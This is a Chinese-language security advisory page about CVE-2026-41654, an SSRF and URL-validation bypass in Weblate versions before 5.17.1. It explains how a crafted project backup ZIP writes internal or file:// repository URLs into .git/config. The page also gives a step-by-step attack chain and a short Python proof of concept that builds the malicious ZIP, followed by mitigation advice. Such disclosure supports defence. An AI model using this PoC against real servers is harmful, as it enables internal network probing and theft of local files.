IPBUF安全漏洞报告
English
CVE-2026-41654 CVSS 8.1 高危

CVE-2026-41654 Weblate 仓库URL验证绕过漏洞

披露日期: 2026-05-07

漏洞信息

漏洞编号
CVE-2026-41654
漏洞类型
SSRF (服务器端请求伪造)
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Weblate

相关标签

SSRFWeblateCVE-2026-41654URL验证绕过高危漏洞

漏洞概述

Weblate是基于Web的本地化工具。在5.17.1版本之前,拥有`project.add`权限的认证用户可导入精心制作的项目备份ZIP文件。由于系统绕过了Django的`full_clean()`验证,攻击者可将任意URL(如内网地址或file://)写入.git/config。这可能导致服务器端请求伪造(SSRF)或敏感文件读取风险。

技术细节

该漏洞的核心在于Weblate使用`Component.objects.bulk_create`方法来持久化组件数据。此Django ORM方法默认不调用`full_clean()`方法进行数据清洗,导致开发者自定义的`validate_repo_url`验证器被绕过。攻击者构造包含恶意`repo URL`(例如指向内网服务的http://127.0.0.1:9999/或使用file://协议的本地路径)的ZIP备份文件。当拥有`project.add`权限的用户导入此备份时,系统直接调用`Component.objects.bulk_create`保存数据,随后`configure_repo`函数将未经校验的URL原样写入.git/config配置文件。当Git尝试与该仓库交互时,将触发对内部地址的请求或本地文件读取,从而实现服务器端请求伪造(SSRF)攻击,攻击者可借此探测内网端口或读取服务器本地敏感文件。

攻击链分析

STEP 1
1. 获取权限
攻击者注册或获取一个拥有project.add权限的Weblate账户。
STEP 2
2. 构造Payload
创建一个包含components/<name>.json的ZIP文件,其中repo字段指向内网地址(如http://127.0.0.1:9999)或使用file://协议。
STEP 3
3. 导入备份
通过Web界面上传并导入该恶意ZIP备份文件。
STEP 4
4. 绕过验证
Weblate使用bulk_create处理数据,跳过了URL验证,将恶意URL写入.git/config。
STEP 5
5. 触发攻击
系统执行Git操作(如配置仓库),触发对恶意URL的请求,导致SSRF或文件读取。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-41654 import zipfile import json # 1. Define malicious component configuration pointing to an internal service malicious_data = { "name": "ExploitComponent", "slug": "exploit-comp", "repo": "http://127.0.0.1:8080/ssrf_probe", # Internal URL to scan "vcs": "git", "project": {"slug": "target-project"} } # 2. Create the ZIP structure required by Weblate backup # Weblate expects components/<component_name>.json inside the zip with zipfile.ZipFile('malicious_weblate_backup.zip', 'w') as z: z.writestr('components/exploit-comp.json', json.dumps(malicious_data)) print("[*] Malicious backup file created: malicious_weblate_backup.zip") print("[*] Upload this file via Weblate's project import interface using an account with 'project.add' permission.")

影响范围

Weblate < 5.17.1

防御指南

临时缓解措施
严格限制用户权限,避免向不可信用户分配`project.add`权限。在网络层面部署防火墙规则,限制Weblate服务器对内网地址(如127.0.0.1/8, 10.0.0.0/8等)的出站访问。监控服务器日志,查找异常的Git配置写入或出站连接请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表